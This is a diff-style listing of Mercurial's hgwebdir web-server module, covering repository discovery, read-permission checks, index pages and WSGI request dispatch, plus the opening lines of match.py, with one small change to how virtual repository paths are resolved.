24 paritygen,
24 paritygen,
25 staticfile,
25 staticfile,
26 statusmessage,
26 statusmessage,
27 )
27 )
28
28
29 from .. import (
29 from .. import (
30 configitems,
30 configitems,
31 encoding,
31 encoding,
32 error,
32 error,
33 extensions,
33 extensions,
34 hg,
34 hg,
35 profiling,
35 profiling,
36 pycompat,
36 pycompat,
37 registrar,
37 registrar,
38 scmutil,
38 scmutil,
39 templater,
39 templater,
40 templateutil,
40 templateutil,
41 ui as uimod,
41 ui as uimod,
42 util,
42 util,
43 )
43 )
44
44
45 from . import (
45 from . import (
46 hgweb_mod,
46 hgweb_mod,
47 request as requestmod,
47 request as requestmod,
48 webutil,
48 webutil,
49 wsgicgi,
49 wsgicgi,
50 )
50 )
51 from ..utils import dateutil
51 from ..utils import dateutil
52
52
53 def cleannames(items):
53 def cleannames(items):
54 return [(util.pconvert(name).strip('/'), path) for name, path in items]
54 return [(util.pconvert(name).strip('/'), path) for name, path in items]
55
55
56 def findrepos(paths):
56 def findrepos(paths):
57 repos = []
57 repos = []
58 for prefix, root in cleannames(paths):
58 for prefix, root in cleannames(paths):
59 roothead, roottail = os.path.split(root)
59 roothead, roottail = os.path.split(root)
60 # "foo = /bar/*" or "foo = /bar/**" lets every repo /bar/N in or below
60 # "foo = /bar/*" or "foo = /bar/**" lets every repo /bar/N in or below
61 # /bar/ be served as as foo/N .
61 # /bar/ be served as as foo/N .
62 # '*' will not search inside dirs with .hg (except .hg/patches),
62 # '*' will not search inside dirs with .hg (except .hg/patches),
63 # '**' will search inside dirs with .hg (and thus also find subrepos).
63 # '**' will search inside dirs with .hg (and thus also find subrepos).
64 try:
64 try:
65 recurse = {'*': False, '**': True}[roottail]
65 recurse = {'*': False, '**': True}[roottail]
66 except KeyError:
66 except KeyError:
67 repos.append((prefix, root))
67 repos.append((prefix, root))
68 continue
68 continue
69 roothead = os.path.normpath(os.path.abspath(roothead))
69 roothead = os.path.normpath(os.path.abspath(roothead))
70 paths = scmutil.walkrepos(roothead, followsym=True, recurse=recurse)
70 paths = scmutil.walkrepos(roothead, followsym=True, recurse=recurse)
71 repos.extend(urlrepos(prefix, roothead, paths))
71 repos.extend(urlrepos(prefix, roothead, paths))
72 return repos
72 return repos
73
73
74 def urlrepos(prefix, roothead, paths):
74 def urlrepos(prefix, roothead, paths):
75 """yield url paths and filesystem paths from a list of repo paths
75 """yield url paths and filesystem paths from a list of repo paths
76
76
77 >>> conv = lambda seq: [(v, util.pconvert(p)) for v,p in seq]
77 >>> conv = lambda seq: [(v, util.pconvert(p)) for v,p in seq]
78 >>> conv(urlrepos(b'hg', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
78 >>> conv(urlrepos(b'hg', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
79 [('hg/r', '/opt/r'), ('hg/r/r', '/opt/r/r'), ('hg', '/opt')]
79 [('hg/r', '/opt/r'), ('hg/r/r', '/opt/r/r'), ('hg', '/opt')]
80 >>> conv(urlrepos(b'', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
80 >>> conv(urlrepos(b'', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
81 [('r', '/opt/r'), ('r/r', '/opt/r/r'), ('', '/opt')]
81 [('r', '/opt/r'), ('r/r', '/opt/r/r'), ('', '/opt')]
82 """
82 """
83 for path in paths:
83 for path in paths:
84 path = os.path.normpath(path)
84 path = os.path.normpath(path)
85 yield (prefix + '/' +
85 yield (prefix + '/' +
86 util.pconvert(path[len(roothead):]).lstrip('/')).strip('/'), path
86 util.pconvert(path[len(roothead):]).lstrip('/')).strip('/'), path
87
87
88 def readallowed(ui, req):
88 def readallowed(ui, req):
89 """Check allow_read and deny_read config options of a repo's ui object
89 """Check allow_read and deny_read config options of a repo's ui object
90 to determine user permissions. By default, with neither option set (or
90 to determine user permissions. By default, with neither option set (or
91 both empty), allow all users to read the repo. There are two ways a
91 both empty), allow all users to read the repo. There are two ways a
92 user can be denied read access: (1) deny_read is not empty, and the
92 user can be denied read access: (1) deny_read is not empty, and the
93 user is unauthenticated or deny_read contains user (or *), and (2)
93 user is unauthenticated or deny_read contains user (or *), and (2)
94 allow_read is not empty and the user is not in allow_read. Return True
94 allow_read is not empty and the user is not in allow_read. Return True
95 if user is allowed to read the repo, else return False."""
95 if user is allowed to read the repo, else return False."""
96
96
97 user = req.remoteuser
97 user = req.remoteuser
98
98
99 deny_read = ui.configlist('web', 'deny_read', untrusted=True)
99 deny_read = ui.configlist('web', 'deny_read', untrusted=True)
100 if deny_read and (not user or ismember(ui, user, deny_read)):
100 if deny_read and (not user or ismember(ui, user, deny_read)):
101 return False
101 return False
102
102
103 allow_read = ui.configlist('web', 'allow_read', untrusted=True)
103 allow_read = ui.configlist('web', 'allow_read', untrusted=True)
104 # by default, allow reading if no allow_read option has been set
104 # by default, allow reading if no allow_read option has been set
105 if not allow_read or ismember(ui, user, allow_read):
105 if not allow_read or ismember(ui, user, allow_read):
106 return True
106 return True
107
107
108 return False
108 return False
109
109
110 def rawindexentries(ui, repos, req, subdir=''):
110 def rawindexentries(ui, repos, req, subdir=''):
111 descend = ui.configbool('web', 'descend')
111 descend = ui.configbool('web', 'descend')
112 collapse = ui.configbool('web', 'collapse')
112 collapse = ui.configbool('web', 'collapse')
113 seenrepos = set()
113 seenrepos = set()
114 seendirs = set()
114 seendirs = set()
115 for name, path in repos:
115 for name, path in repos:
116
116
117 if not name.startswith(subdir):
117 if not name.startswith(subdir):
118 continue
118 continue
119 name = name[len(subdir):]
119 name = name[len(subdir):]
120 directory = False
120 directory = False
121
121
122 if '/' in name:
122 if '/' in name:
123 if not descend:
123 if not descend:
124 continue
124 continue
125
125
126 nameparts = name.split('/')
126 nameparts = name.split('/')
127 rootname = nameparts[0]
127 rootname = nameparts[0]
128
128
129 if not collapse:
129 if not collapse:
130 pass
130 pass
131 elif rootname in seendirs:
131 elif rootname in seendirs:
132 continue
132 continue
133 elif rootname in seenrepos:
133 elif rootname in seenrepos:
134 pass
134 pass
135 else:
135 else:
136 directory = True
136 directory = True
137 name = rootname
137 name = rootname
138
138
139 # redefine the path to refer to the directory
139 # redefine the path to refer to the directory
140 discarded = '/'.join(nameparts[1:])
140 discarded = '/'.join(nameparts[1:])
141
141
142 # remove name parts plus accompanying slash
142 # remove name parts plus accompanying slash
143 path = path[:-len(discarded) - 1]
143 path = path[:-len(discarded) - 1]
144
144
145 try:
145 try:
146 hg.repository(ui, path)
146 hg.repository(ui, path)
147 directory = False
147 directory = False
148 except (IOError, error.RepoError):
148 except (IOError, error.RepoError):
149 pass
149 pass
150
150
151 parts = [
151 parts = [
152 req.apppath.strip('/'),
152 req.apppath.strip('/'),
153 subdir.strip('/'),
153 subdir.strip('/'),
154 name.strip('/'),
154 name.strip('/'),
155 ]
155 ]
156 url = '/' + '/'.join(p for p in parts if p) + '/'
156 url = '/' + '/'.join(p for p in parts if p) + '/'
157
157
158 # show either a directory entry or a repository
158 # show either a directory entry or a repository
159 if directory:
159 if directory:
160 # get the directory's time information
160 # get the directory's time information
161 try:
161 try:
162 d = (get_mtime(path), dateutil.makedate()[1])
162 d = (get_mtime(path), dateutil.makedate()[1])
163 except OSError:
163 except OSError:
164 continue
164 continue
165
165
166 # add '/' to the name to make it obvious that
166 # add '/' to the name to make it obvious that
167 # the entry is a directory, not a regular repository
167 # the entry is a directory, not a regular repository
168 row = {'contact': "",
168 row = {'contact': "",
169 'contact_sort': "",
169 'contact_sort': "",
170 'name': name + '/',
170 'name': name + '/',
171 'name_sort': name,
171 'name_sort': name,
172 'url': url,
172 'url': url,
173 'description': "",
173 'description': "",
174 'description_sort': "",
174 'description_sort': "",
175 'lastchange': d,
175 'lastchange': d,
176 'lastchange_sort': d[1] - d[0],
176 'lastchange_sort': d[1] - d[0],
177 'archives': templateutil.mappinglist([]),
177 'archives': templateutil.mappinglist([]),
178 'isdirectory': True,
178 'isdirectory': True,
179 'labels': templateutil.hybridlist([], name='label'),
179 'labels': templateutil.hybridlist([], name='label'),
180 }
180 }
181
181
182 seendirs.add(name)
182 seendirs.add(name)
183 yield row
183 yield row
184 continue
184 continue
185
185
186 u = ui.copy()
186 u = ui.copy()
187 try:
187 try:
188 u.readconfig(os.path.join(path, '.hg', 'hgrc'))
188 u.readconfig(os.path.join(path, '.hg', 'hgrc'))
189 except Exception as e:
189 except Exception as e:
190 u.warn(_('error reading %s/.hg/hgrc: %s\n') % (path, e))
190 u.warn(_('error reading %s/.hg/hgrc: %s\n') % (path, e))
191 continue
191 continue
192
192
193 def get(section, name, default=uimod._unset):
193 def get(section, name, default=uimod._unset):
194 return u.config(section, name, default, untrusted=True)
194 return u.config(section, name, default, untrusted=True)
195
195
196 if u.configbool("web", "hidden", untrusted=True):
196 if u.configbool("web", "hidden", untrusted=True):
197 continue
197 continue
198
198
199 if not readallowed(u, req):
199 if not readallowed(u, req):
200 continue
200 continue
201
201
202 # update time with local timezone
202 # update time with local timezone
203 try:
203 try:
204 r = hg.repository(ui, path)
204 r = hg.repository(ui, path)
205 except IOError:
205 except IOError:
206 u.warn(_('error accessing repository at %s\n') % path)
206 u.warn(_('error accessing repository at %s\n') % path)
207 continue
207 continue
208 except error.RepoError:
208 except error.RepoError:
209 u.warn(_('error accessing repository at %s\n') % path)
209 u.warn(_('error accessing repository at %s\n') % path)
210 continue
210 continue
211 try:
211 try:
212 d = (get_mtime(r.spath), dateutil.makedate()[1])
212 d = (get_mtime(r.spath), dateutil.makedate()[1])
213 except OSError:
213 except OSError:
214 continue
214 continue
215
215
216 contact = get_contact(get)
216 contact = get_contact(get)
217 description = get("web", "description")
217 description = get("web", "description")
218 seenrepos.add(name)
218 seenrepos.add(name)
219 name = get("web", "name", name)
219 name = get("web", "name", name)
220 labels = u.configlist('web', 'labels', untrusted=True)
220 labels = u.configlist('web', 'labels', untrusted=True)
221 row = {'contact': contact or "unknown",
221 row = {'contact': contact or "unknown",
222 'contact_sort': contact.upper() or "unknown",
222 'contact_sort': contact.upper() or "unknown",
223 'name': name,
223 'name': name,
224 'name_sort': name,
224 'name_sort': name,
225 'url': url,
225 'url': url,
226 'description': description or "unknown",
226 'description': description or "unknown",
227 'description_sort': description.upper() or "unknown",
227 'description_sort': description.upper() or "unknown",
228 'lastchange': d,
228 'lastchange': d,
229 'lastchange_sort': d[1] - d[0],
229 'lastchange_sort': d[1] - d[0],
230 'archives': webutil.archivelist(u, "tip", url),
230 'archives': webutil.archivelist(u, "tip", url),
231 'isdirectory': None,
231 'isdirectory': None,
232 'labels': templateutil.hybridlist(labels, name='label'),
232 'labels': templateutil.hybridlist(labels, name='label'),
233 }
233 }
234
234
235 yield row
235 yield row
236
236
237 def _indexentriesgen(context, ui, repos, req, stripecount, sortcolumn,
237 def _indexentriesgen(context, ui, repos, req, stripecount, sortcolumn,
238 descending, subdir):
238 descending, subdir):
239 rows = rawindexentries(ui, repos, req, subdir=subdir)
239 rows = rawindexentries(ui, repos, req, subdir=subdir)
240
240
241 sortdefault = None, False
241 sortdefault = None, False
242
242
243 if sortcolumn and sortdefault != (sortcolumn, descending):
243 if sortcolumn and sortdefault != (sortcolumn, descending):
244 sortkey = '%s_sort' % sortcolumn
244 sortkey = '%s_sort' % sortcolumn
245 rows = sorted(rows, key=lambda x: x[sortkey],
245 rows = sorted(rows, key=lambda x: x[sortkey],
246 reverse=descending)
246 reverse=descending)
247
247
248 for row, parity in zip(rows, paritygen(stripecount)):
248 for row, parity in zip(rows, paritygen(stripecount)):
249 row['parity'] = parity
249 row['parity'] = parity
250 yield row
250 yield row
251
251
252 def indexentries(ui, repos, req, stripecount, sortcolumn='',
252 def indexentries(ui, repos, req, stripecount, sortcolumn='',
253 descending=False, subdir=''):
253 descending=False, subdir=''):
254 args = (ui, repos, req, stripecount, sortcolumn, descending, subdir)
254 args = (ui, repos, req, stripecount, sortcolumn, descending, subdir)
255 return templateutil.mappinggenerator(_indexentriesgen, args=args)
255 return templateutil.mappinggenerator(_indexentriesgen, args=args)
256
256
257 class hgwebdir(object):
257 class hgwebdir(object):
258 """HTTP server for multiple repositories.
258 """HTTP server for multiple repositories.
259
259
260 Given a configuration, different repositories will be served depending
260 Given a configuration, different repositories will be served depending
261 on the request path.
261 on the request path.
262
262
263 Instances are typically used as WSGI applications.
263 Instances are typically used as WSGI applications.
264 """
264 """
265 def __init__(self, conf, baseui=None):
265 def __init__(self, conf, baseui=None):
266 self.conf = conf
266 self.conf = conf
267 self.baseui = baseui
267 self.baseui = baseui
268 self.ui = None
268 self.ui = None
269 self.lastrefresh = 0
269 self.lastrefresh = 0
270 self.motd = None
270 self.motd = None
271 self.refresh()
271 self.refresh()
272 if not baseui:
272 if not baseui:
273 # set up environment for new ui
273 # set up environment for new ui
274 extensions.loadall(self.ui)
274 extensions.loadall(self.ui)
275 extensions.populateui(self.ui)
275 extensions.populateui(self.ui)
276
276
277 def refresh(self):
277 def refresh(self):
278 if self.ui:
278 if self.ui:
279 refreshinterval = self.ui.configint('web', 'refreshinterval')
279 refreshinterval = self.ui.configint('web', 'refreshinterval')
280 else:
280 else:
281 item = configitems.coreitems['web']['refreshinterval']
281 item = configitems.coreitems['web']['refreshinterval']
282 refreshinterval = item.default
282 refreshinterval = item.default
283
283
284 # refreshinterval <= 0 means to always refresh.
284 # refreshinterval <= 0 means to always refresh.
285 if (refreshinterval > 0 and
285 if (refreshinterval > 0 and
286 self.lastrefresh + refreshinterval > time.time()):
286 self.lastrefresh + refreshinterval > time.time()):
287 return
287 return
288
288
289 if self.baseui:
289 if self.baseui:
290 u = self.baseui.copy()
290 u = self.baseui.copy()
291 else:
291 else:
292 u = uimod.ui.load()
292 u = uimod.ui.load()
293 u.setconfig('ui', 'report_untrusted', 'off', 'hgwebdir')
293 u.setconfig('ui', 'report_untrusted', 'off', 'hgwebdir')
294 u.setconfig('ui', 'nontty', 'true', 'hgwebdir')
294 u.setconfig('ui', 'nontty', 'true', 'hgwebdir')
295 # displaying bundling progress bar while serving feels wrong and may
295 # displaying bundling progress bar while serving feels wrong and may
296 # break some wsgi implementations.
296 # break some wsgi implementations.
297 u.setconfig('progress', 'disable', 'true', 'hgweb')
297 u.setconfig('progress', 'disable', 'true', 'hgweb')
298
298
299 if not isinstance(self.conf, (dict, list, tuple)):
299 if not isinstance(self.conf, (dict, list, tuple)):
300 map = {'paths': 'hgweb-paths'}
300 map = {'paths': 'hgweb-paths'}
301 if not os.path.exists(self.conf):
301 if not os.path.exists(self.conf):
302 raise error.Abort(_('config file %s not found!') % self.conf)
302 raise error.Abort(_('config file %s not found!') % self.conf)
303 u.readconfig(self.conf, remap=map, trust=True)
303 u.readconfig(self.conf, remap=map, trust=True)
304 paths = []
304 paths = []
305 for name, ignored in u.configitems('hgweb-paths'):
305 for name, ignored in u.configitems('hgweb-paths'):
306 for path in u.configlist('hgweb-paths', name):
306 for path in u.configlist('hgweb-paths', name):
307 paths.append((name, path))
307 paths.append((name, path))
308 elif isinstance(self.conf, (list, tuple)):
308 elif isinstance(self.conf, (list, tuple)):
309 paths = self.conf
309 paths = self.conf
310 elif isinstance(self.conf, dict):
310 elif isinstance(self.conf, dict):
311 paths = self.conf.items()
311 paths = self.conf.items()
312 extensions.populateui(u)
312 extensions.populateui(u)
313
313
314 repos = findrepos(paths)
314 repos = findrepos(paths)
315 for prefix, root in u.configitems('collections'):
315 for prefix, root in u.configitems('collections'):
316 prefix = util.pconvert(prefix)
316 prefix = util.pconvert(prefix)
317 for path in scmutil.walkrepos(root, followsym=True):
317 for path in scmutil.walkrepos(root, followsym=True):
318 repo = os.path.normpath(path)
318 repo = os.path.normpath(path)
319 name = util.pconvert(repo)
319 name = util.pconvert(repo)
320 if name.startswith(prefix):
320 if name.startswith(prefix):
321 name = name[len(prefix):]
321 name = name[len(prefix):]
322 repos.append((name.lstrip('/'), repo))
322 repos.append((name.lstrip('/'), repo))
323
323
324 self.repos = repos
324 self.repos = repos
325 self.ui = u
325 self.ui = u
326 encoding.encoding = self.ui.config('web', 'encoding')
326 encoding.encoding = self.ui.config('web', 'encoding')
327 self.style = self.ui.config('web', 'style')
327 self.style = self.ui.config('web', 'style')
328 self.templatepath = self.ui.config('web', 'templates', untrusted=False)
328 self.templatepath = self.ui.config('web', 'templates', untrusted=False)
329 self.stripecount = self.ui.config('web', 'stripes')
329 self.stripecount = self.ui.config('web', 'stripes')
330 if self.stripecount:
330 if self.stripecount:
331 self.stripecount = int(self.stripecount)
331 self.stripecount = int(self.stripecount)
332 prefix = self.ui.config('web', 'prefix')
332 prefix = self.ui.config('web', 'prefix')
333 if prefix.startswith('/'):
333 if prefix.startswith('/'):
334 prefix = prefix[1:]
334 prefix = prefix[1:]
335 if prefix.endswith('/'):
335 if prefix.endswith('/'):
336 prefix = prefix[:-1]
336 prefix = prefix[:-1]
337 self.prefix = prefix
337 self.prefix = prefix
338 self.lastrefresh = time.time()
338 self.lastrefresh = time.time()
339
339
340 def run(self):
340 def run(self):
341 if not encoding.environ.get('GATEWAY_INTERFACE',
341 if not encoding.environ.get('GATEWAY_INTERFACE',
342 '').startswith("CGI/1."):
342 '').startswith("CGI/1."):
343 raise RuntimeError("This function is only intended to be "
343 raise RuntimeError("This function is only intended to be "
344 "called while running as a CGI script.")
344 "called while running as a CGI script.")
345 wsgicgi.launch(self)
345 wsgicgi.launch(self)
346
346
347 def __call__(self, env, respond):
347 def __call__(self, env, respond):
348 baseurl = self.ui.config('web', 'baseurl')
348 baseurl = self.ui.config('web', 'baseurl')
349 req = requestmod.parserequestfromenv(env, altbaseurl=baseurl)
349 req = requestmod.parserequestfromenv(env, altbaseurl=baseurl)
350 res = requestmod.wsgiresponse(req, respond)
350 res = requestmod.wsgiresponse(req, respond)
351
351
352 return self.run_wsgi(req, res)
352 return self.run_wsgi(req, res)
353
353
354 def run_wsgi(self, req, res):
354 def run_wsgi(self, req, res):
355 profile = self.ui.configbool('profiling', 'enabled')
355 profile = self.ui.configbool('profiling', 'enabled')
356 with profiling.profile(self.ui, enabled=profile):
356 with profiling.profile(self.ui, enabled=profile):
357 try:
357 try:
358 for r in self._runwsgi(req, res):
358 for r in self._runwsgi(req, res):
359 yield r
359 yield r
360 finally:
360 finally:
361 # There are known cycles in localrepository that prevent
361 # There are known cycles in localrepository that prevent
362 # those objects (and tons of held references) from being
362 # those objects (and tons of held references) from being
363 # collected through normal refcounting. We mitigate those
363 # collected through normal refcounting. We mitigate those
364 # leaks by performing an explicit GC on every request.
364 # leaks by performing an explicit GC on every request.
365 # TODO remove this once leaks are fixed.
365 # TODO remove this once leaks are fixed.
366 # TODO only run this on requests that create localrepository
366 # TODO only run this on requests that create localrepository
367 # instances instead of every request.
367 # instances instead of every request.
368 gc.collect()
368 gc.collect()
369
369
370 def _runwsgi(self, req, res):
370 def _runwsgi(self, req, res):
371 try:
371 try:
372 self.refresh()
372 self.refresh()
373
373
374 csp, nonce = cspvalues(self.ui)
374 csp, nonce = cspvalues(self.ui)
375 if csp:
375 if csp:
376 res.headers['Content-Security-Policy'] = csp
376 res.headers['Content-Security-Policy'] = csp
377
377
378 virtual = req.dispatchpath.strip('/')
378 virtual = req.dispatchpath.strip('/')
379 tmpl = self.templater(req, nonce)
379 tmpl = self.templater(req, nonce)
380 ctype = tmpl.render('mimetype', {'encoding': encoding.encoding})
380 ctype = tmpl.render('mimetype', {'encoding': encoding.encoding})
381
381
382 # Global defaults. These can be overridden by any handler.
382 # Global defaults. These can be overridden by any handler.
383 res.status = '200 Script output follows'
383 res.status = '200 Script output follows'
384 res.headers['Content-Type'] = ctype
384 res.headers['Content-Type'] = ctype
385
385
386 # a static file
386 # a static file
387 if virtual.startswith('static/') or 'static' in req.qsparams:
387 if virtual.startswith('static/') or 'static' in req.qsparams:
388 if virtual.startswith('static/'):
388 if virtual.startswith('static/'):
389 fname = virtual[7:]
389 fname = virtual[7:]
390 else:
390 else:
391 fname = req.qsparams['static']
391 fname = req.qsparams['static']
392 static = self.ui.config("web", "static", untrusted=False)
392 static = self.ui.config("web", "static", untrusted=False)
393 if not static:
393 if not static:
394 tp = self.templatepath or templater.templatepaths()
394 tp = self.templatepath or templater.templatepaths()
395 if isinstance(tp, str):
395 if isinstance(tp, str):
396 tp = [tp]
396 tp = [tp]
397 static = [os.path.join(p, 'static') for p in tp]
397 static = [os.path.join(p, 'static') for p in tp]
398
398
399 staticfile(static, fname, res)
399 staticfile(static, fname, res)
400 return res.sendresponse()
400 return res.sendresponse()
401
401
402 # top-level index
402 # top-level index
403
403
404 repos = dict(self.repos)
404 repos = dict(self.repos)
405
405
406 if (not virtual or virtual == 'index') and virtual not in repos:
406 if (not virtual or virtual == 'index') and virtual not in repos:
407 return self.makeindex(req, res, tmpl)
407 return self.makeindex(req, res, tmpl)
408
408
409 # nested indexes and hgwebs
409 # nested indexes and hgwebs
410
410
411 if virtual.endswith('/index') and virtual not in repos:
411 if virtual.endswith('/index') and virtual not in repos:
412 subdir = virtual[:-len('index')]
412 subdir = virtual[:-len('index')]
413 if any(r.startswith(subdir) for r in repos):
413 if any(r.startswith(subdir) for r in repos):
414 return self.makeindex(req, res, tmpl, subdir)
414 return self.makeindex(req, res, tmpl, subdir)
415
415
416 def _virtualdirs():
416 def _virtualdirs():
417 # Check the full virtual path, each parent, and the root ('')
417 # Check the full virtual path, and each parent
418 if virtual != '':
418 yield virtual
419 yield virtual
419 for p in util.finddirs(virtual):
420
420 yield p
421 for p in util.finddirs(virtual):
422 yield p
423
424 yield ''
425
421
426 for virtualrepo in _virtualdirs():
422 for virtualrepo in _virtualdirs():
427 real = repos.get(virtualrepo)
423 real = repos.get(virtualrepo)
428 if real:
424 if real:
429 # Re-parse the WSGI environment to take into account our
425 # Re-parse the WSGI environment to take into account our
430 # repository path component.
426 # repository path component.
431 uenv = req.rawenv
427 uenv = req.rawenv
432 if pycompat.ispy3:
428 if pycompat.ispy3:
433 uenv = {k.decode('latin1'): v for k, v in
429 uenv = {k.decode('latin1'): v for k, v in
434 uenv.iteritems()}
430 uenv.iteritems()}
435 req = requestmod.parserequestfromenv(
431 req = requestmod.parserequestfromenv(
436 uenv, reponame=virtualrepo,
432 uenv, reponame=virtualrepo,
437 altbaseurl=self.ui.config('web', 'baseurl'),
433 altbaseurl=self.ui.config('web', 'baseurl'),
438 # Reuse wrapped body file object otherwise state
434 # Reuse wrapped body file object otherwise state
439 # tracking can get confused.
435 # tracking can get confused.
440 bodyfh=req.bodyfh)
436 bodyfh=req.bodyfh)
441 try:
437 try:
442 # ensure caller gets private copy of ui
438 # ensure caller gets private copy of ui
443 repo = hg.repository(self.ui.copy(), real)
439 repo = hg.repository(self.ui.copy(), real)
444 return hgweb_mod.hgweb(repo).run_wsgi(req, res)
440 return hgweb_mod.hgweb(repo).run_wsgi(req, res)
445 except IOError as inst:
441 except IOError as inst:
446 msg = encoding.strtolocal(inst.strerror)
442 msg = encoding.strtolocal(inst.strerror)
447 raise ErrorResponse(HTTP_SERVER_ERROR, msg)
443 raise ErrorResponse(HTTP_SERVER_ERROR, msg)
448 except error.RepoError as inst:
444 except error.RepoError as inst:
449 raise ErrorResponse(HTTP_SERVER_ERROR, bytes(inst))
445 raise ErrorResponse(HTTP_SERVER_ERROR, bytes(inst))
450
446
451 # browse subdirectories
447 # browse subdirectories
452 subdir = virtual + '/'
448 subdir = virtual + '/'
453 if [r for r in repos if r.startswith(subdir)]:
449 if [r for r in repos if r.startswith(subdir)]:
454 return self.makeindex(req, res, tmpl, subdir)
450 return self.makeindex(req, res, tmpl, subdir)
455
451
456 # prefixes not found
452 # prefixes not found
457 res.status = '404 Not Found'
453 res.status = '404 Not Found'
458 res.setbodygen(tmpl.generate('notfound', {'repo': virtual}))
454 res.setbodygen(tmpl.generate('notfound', {'repo': virtual}))
459 return res.sendresponse()
455 return res.sendresponse()
460
456
461 except ErrorResponse as e:
457 except ErrorResponse as e:
462 res.status = statusmessage(e.code, pycompat.bytestr(e))
458 res.status = statusmessage(e.code, pycompat.bytestr(e))
463 res.setbodygen(tmpl.generate('error', {'error': e.message or ''}))
459 res.setbodygen(tmpl.generate('error', {'error': e.message or ''}))
464 return res.sendresponse()
460 return res.sendresponse()
465 finally:
461 finally:
466 tmpl = None
462 tmpl = None
467
463
468 def makeindex(self, req, res, tmpl, subdir=""):
464 def makeindex(self, req, res, tmpl, subdir=""):
469 self.refresh()
465 self.refresh()
470 sortable = ["name", "description", "contact", "lastchange"]
466 sortable = ["name", "description", "contact", "lastchange"]
471 sortcolumn, descending = None, False
467 sortcolumn, descending = None, False
472 if 'sort' in req.qsparams:
468 if 'sort' in req.qsparams:
473 sortcolumn = req.qsparams['sort']
469 sortcolumn = req.qsparams['sort']
474 descending = sortcolumn.startswith('-')
470 descending = sortcolumn.startswith('-')
475 if descending:
471 if descending:
476 sortcolumn = sortcolumn[1:]
472 sortcolumn = sortcolumn[1:]
477 if sortcolumn not in sortable:
473 if sortcolumn not in sortable:
478 sortcolumn = ""
474 sortcolumn = ""
479
475
480 sort = [("sort_%s" % column,
476 sort = [("sort_%s" % column,
481 "%s%s" % ((not descending and column == sortcolumn)
477 "%s%s" % ((not descending and column == sortcolumn)
482 and "-" or "", column))
478 and "-" or "", column))
483 for column in sortable]
479 for column in sortable]
484
480
485 self.refresh()
481 self.refresh()
486
482
487 entries = indexentries(self.ui, self.repos, req,
483 entries = indexentries(self.ui, self.repos, req,
488 self.stripecount, sortcolumn=sortcolumn,
484 self.stripecount, sortcolumn=sortcolumn,
489 descending=descending, subdir=subdir)
485 descending=descending, subdir=subdir)
490
486
491 mapping = {
487 mapping = {
492 'entries': entries,
488 'entries': entries,
493 'subdir': subdir,
489 'subdir': subdir,
494 'pathdef': hgweb_mod.makebreadcrumb('/' + subdir, self.prefix),
490 'pathdef': hgweb_mod.makebreadcrumb('/' + subdir, self.prefix),
495 'sortcolumn': sortcolumn,
491 'sortcolumn': sortcolumn,
496 'descending': descending,
492 'descending': descending,
497 }
493 }
498 mapping.update(sort)
494 mapping.update(sort)
499 res.setbodygen(tmpl.generate('index', mapping))
495 res.setbodygen(tmpl.generate('index', mapping))
500 return res.sendresponse()
496 return res.sendresponse()
501
497
502 def templater(self, req, nonce):
498 def templater(self, req, nonce):
503
499
504 def config(section, name, default=uimod._unset, untrusted=True):
500 def config(section, name, default=uimod._unset, untrusted=True):
505 return self.ui.config(section, name, default, untrusted)
501 return self.ui.config(section, name, default, untrusted)
506
502
507 vars = {}
503 vars = {}
508 styles, (style, mapfile) = hgweb_mod.getstyle(req, config,
504 styles, (style, mapfile) = hgweb_mod.getstyle(req, config,
509 self.templatepath)
505 self.templatepath)
510 if style == styles[0]:
506 if style == styles[0]:
511 vars['style'] = style
507 vars['style'] = style
512
508
513 sessionvars = webutil.sessionvars(vars, '?')
509 sessionvars = webutil.sessionvars(vars, '?')
514 logourl = config('web', 'logourl')
510 logourl = config('web', 'logourl')
515 logoimg = config('web', 'logoimg')
511 logoimg = config('web', 'logoimg')
516 staticurl = (config('web', 'staticurl')
512 staticurl = (config('web', 'staticurl')
517 or req.apppath.rstrip('/') + '/static/')
513 or req.apppath.rstrip('/') + '/static/')
518 if not staticurl.endswith('/'):
514 if not staticurl.endswith('/'):
519 staticurl += '/'
515 staticurl += '/'
520
516
521 defaults = {
517 defaults = {
522 "encoding": encoding.encoding,
518 "encoding": encoding.encoding,
523 "url": req.apppath + '/',
519 "url": req.apppath + '/',
524 "logourl": logourl,
520 "logourl": logourl,
525 "logoimg": logoimg,
521 "logoimg": logoimg,
526 "staticurl": staticurl,
522 "staticurl": staticurl,
527 "sessionvars": sessionvars,
523 "sessionvars": sessionvars,
528 "style": style,
524 "style": style,
529 "nonce": nonce,
525 "nonce": nonce,
530 }
526 }
531 templatekeyword = registrar.templatekeyword(defaults)
527 templatekeyword = registrar.templatekeyword(defaults)
532 @templatekeyword('motd', requires=())
528 @templatekeyword('motd', requires=())
533 def motd(context, mapping):
529 def motd(context, mapping):
534 if self.motd is not None:
530 if self.motd is not None:
535 yield self.motd
531 yield self.motd
536 else:
532 else:
537 yield config('web', 'motd')
533 yield config('web', 'motd')
538
534
539 tmpl = templater.templater.frommapfile(mapfile, defaults=defaults)
535 tmpl = templater.templater.frommapfile(mapfile, defaults=defaults)
540 return tmpl
536 return tmpl
@@ -1,1530 +1,1526
1 # match.py - filename matching
1 # match.py - filename matching
2 #
2 #
3 # Copyright 2008, 2009 Matt Mackall <mpm@selenic.com> and others
3 # Copyright 2008, 2009 Matt Mackall <mpm@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import, print_function
8 from __future__ import absolute_import, print_function
9
9
10 import copy
10 import copy
11 import itertools
11 import itertools
12 import os
12 import os
13 import re
13 import re
14
14
15 from .i18n import _
15 from .i18n import _
16 from . import (
16 from . import (
17 encoding,
17 encoding,
18 error,
18 error,
19 pathutil,
19 pathutil,
20 pycompat,
20 pycompat,
21 util,
21 util,
22 )
22 )
23 from .utils import (
23 from .utils import (
24 stringutil,
24 stringutil,
25 )
25 )
26
26
27 try:
27 try:
28 from . import rustext
28 from . import rustext
29 rustext.__name__ # force actual import (see hgdemandimport)
29 rustext.__name__ # force actual import (see hgdemandimport)
30 except ImportError:
30 except ImportError:
31 rustext = None
31 rustext = None
32
32
33 allpatternkinds = ('re', 'glob', 'path', 'relglob', 'relpath', 'relre',
33 allpatternkinds = ('re', 'glob', 'path', 'relglob', 'relpath', 'relre',
34 'rootglob',
34 'rootglob',
35 'listfile', 'listfile0', 'set', 'include', 'subinclude',
35 'listfile', 'listfile0', 'set', 'include', 'subinclude',
